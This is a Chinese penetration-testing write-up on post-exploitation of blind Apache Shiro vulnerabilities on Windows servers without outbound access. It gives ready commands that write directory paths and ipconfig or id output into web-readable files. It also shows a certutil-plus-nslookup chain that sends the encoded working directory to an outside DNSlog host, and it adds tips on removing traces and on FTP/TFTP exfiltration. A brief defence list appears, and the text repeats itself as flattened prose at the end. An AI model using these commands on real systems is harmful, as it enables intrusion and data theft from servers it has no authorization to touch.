踩坑记录-Shiro(Windows)极端条件的突破
字数 1407 2025-08-25 22:59:02

Shiro(Windows)极端条件下的突破技术文档

0x00 场景分析

Apache Shiro是一个强大且易用的Java安全框架,但由于其"盲打"特性,在实际渗透测试中经常会遇到各种极端限制条件。本文档主要针对以下极端场景:

  • Windows环境下的Shiro漏洞利用
  • 目标系统不出网(无法直接回连)
  • PowerShell脚本无法执行
  • 需要外带数据的情况

0x01 数据外带技术

Windows环境下的数据外带方案

在Windows环境下,当无法直接通过命令回显或DNS外带数据时,可以采用文件写入+访问的方式外带数据。

核心思路

  1. 在网站目录下寻找一个命名独特的文件作为"参照物"
  2. 利用该文件定位绝对路径
  3. 在相同目录下生成包含敏感信息的文本文件
  4. 通过HTTP直接访问生成的文本文件获取数据

具体实现命令

cmd /c "for /f %i in ('dir /s /b c:\xxx.js') do (echo%i>%i.path.txt)&(ipconfig > %i.ipconfig.txt)"

命令解析

  • dir /s /b c:\xxx.js:递归搜索xxx.js文件的绝对路径
  • echo%i>%i.path.txt:将找到的文件路径写入到[文件路径].path.txt
  • ipconfig > %i.ipconfig.txt:将ipconfig结果写入到[文件路径].ipconfig.txt

Linux环境下的数据外带方案

作为对比,Linux环境下可以使用类似的思路:

find / -name bas.js|while read f;do sh -c 'id;pwd;ifconfig' >$(dirname $f)/test.txt;done

0x02 目录定位技术

在Windows环境中,当不知道网站绝对路径时,可以使用以下技术定位:

完整命令链

cmd /c "del temp* && echo %CD%>temp && certutil -encode temp temp2 && findstr /L /V "CERTIFICATE" temp2>temp3 && call set /P MYVAR=<temp3 && call set FINAL=%MYVAR:~0,60%.g9bubn.ceye.io && call nslookup %FINAL% && call set FINAL=<nul && call set MYVAR=<nul && del temp*"

步骤解析

  1. echo %CD%>temp:将当前目录写入temp文件
  2. certutil -encode temp temp2:使用certutil进行base64编码
  3. findstr /L /V "CERTIFICATE" temp2>temp3:过滤掉CERTIFICATE头
  4. 将结果截取前60个字符作为子域名
  5. 通过nslookup外带信息

实际应用示例

  1. 执行上述命令后,通过DNSlog获取当前目录信息
  2. 结合网站上的"参照物"文件URL,拼接出完整路径
  3. 使用第一节的方法写入数据文件
  4. 直接通过HTTP访问生成的文件获取命令执行结果

0x03 技术要点总结

  1. 文件参照物选择

    • 选择网站中命名独特的文件(如不常见的js文件名)
    • 确保该文件可通过URL直接访问
  2. 路径拼接技巧

    • 通过dir /s /b获取文件的绝对路径
    • 利用路径字符串操作生成输出文件路径
  3. 数据外带替代方案

    • 当无法直接外带时,采用写入文件+HTTP访问的方式
    • 文件命名要有规律,便于预测和访问
  4. 环境适应性

    • 该方法特别适合限制命令长度的情况
    • 不需要依赖PowerShell等可能被限制的组件
  5. 清理痕迹

    • 操作完成后可删除临时文件
    • 注意文件生成的时间戳可能留下痕迹

0x04 防御建议

针对此类攻击,防御方可以考虑:

  1. 限制Shiro框架的密钥强度
  2. 监控异常的文件创建操作
  3. 对敏感目录设置严格的访问权限
  4. 禁用不必要的系统命令执行功能
  5. 实施严格的输入过滤和命令过滤

0x05 扩展思考

  1. 在更严格的限制下(如无法创建新文件),可以考虑:

    • 覆盖现有非关键文件的内容
    • 利用系统日志或临时文件插入数据
  2. 对于路径深度较大的情况,可以:

    • 使用短文件名(8.3格式)简化路径
    • 利用通配符缩短命令长度
  3. 其他可能的变种:

    • 利用Windows环境变量缩短命令
    • 结合FTP/TFTP等协议外带数据
    • 使用剪贴板或注册表暂存数据
Shiro(Windows)极端条件下的突破技术文档 0x00 场景分析 Apache Shiro是一个强大且易用的Java安全框架,但由于其"盲打"特性,在实际渗透测试中经常会遇到各种极端限制条件。本文档主要针对以下极端场景: Windows环境下的Shiro漏洞利用 目标系统不出网(无法直接回连) PowerShell脚本无法执行 需要外带数据的情况 0x01 数据外带技术 Windows环境下的数据外带方案 在Windows环境下,当无法直接通过命令回显或DNS外带数据时,可以采用文件写入+访问的方式外带数据。 核心思路 : 在网站目录下寻找一个命名独特的文件作为"参照物" 利用该文件定位绝对路径 在相同目录下生成包含敏感信息的文本文件 通过HTTP直接访问生成的文本文件获取数据 具体实现命令 : 命令解析 : dir /s /b c:\xxx.js :递归搜索 xxx.js 文件的绝对路径 echo%i>%i.path.txt :将找到的文件路径写入到 [文件路径].path.txt ipconfig > %i.ipconfig.txt :将ipconfig结果写入到 [文件路径].ipconfig.txt Linux环境下的数据外带方案 作为对比,Linux环境下可以使用类似的思路: 0x02 目录定位技术 在Windows环境中,当不知道网站绝对路径时,可以使用以下技术定位: 完整命令链 : 步骤解析 : echo %CD%>temp :将当前目录写入temp文件 certutil -encode temp temp2 :使用certutil进行base64编码 findstr /L /V "CERTIFICATE" temp2>temp3 :过滤掉CERTIFICATE头 将结果截取前60个字符作为子域名 通过nslookup外带信息 实际应用示例 : 执行上述命令后,通过DNSlog获取当前目录信息 结合网站上的"参照物"文件URL,拼接出完整路径 使用第一节的方法写入数据文件 直接通过HTTP访问生成的文件获取命令执行结果 0x03 技术要点总结 文件参照物选择 : 选择网站中命名独特的文件(如不常见的js文件名) 确保该文件可通过URL直接访问 路径拼接技巧 : 通过 dir /s /b 获取文件的绝对路径 利用路径字符串操作生成输出文件路径 数据外带替代方案 : 当无法直接外带时,采用写入文件+HTTP访问的方式 文件命名要有规律,便于预测和访问 环境适应性 : 该方法特别适合限制命令长度的情况 不需要依赖PowerShell等可能被限制的组件 清理痕迹 : 操作完成后可删除临时文件 注意文件生成的时间戳可能留下痕迹 0x04 防御建议 针对此类攻击,防御方可以考虑: 限制Shiro框架的密钥强度 监控异常的文件创建操作 对敏感目录设置严格的访问权限 禁用不必要的系统命令执行功能 实施严格的输入过滤和命令过滤 0x05 扩展思考 在更严格的限制下(如无法创建新文件),可以考虑: 覆盖现有非关键文件的内容 利用系统日志或临时文件插入数据 对于路径深度较大的情况,可以: 使用短文件名(8.3格式)简化路径 利用通配符缩短命令长度 其他可能的变种: 利用Windows环境变量缩短命令 结合FTP/TFTP等协议外带数据 使用剪贴板或注册表暂存数据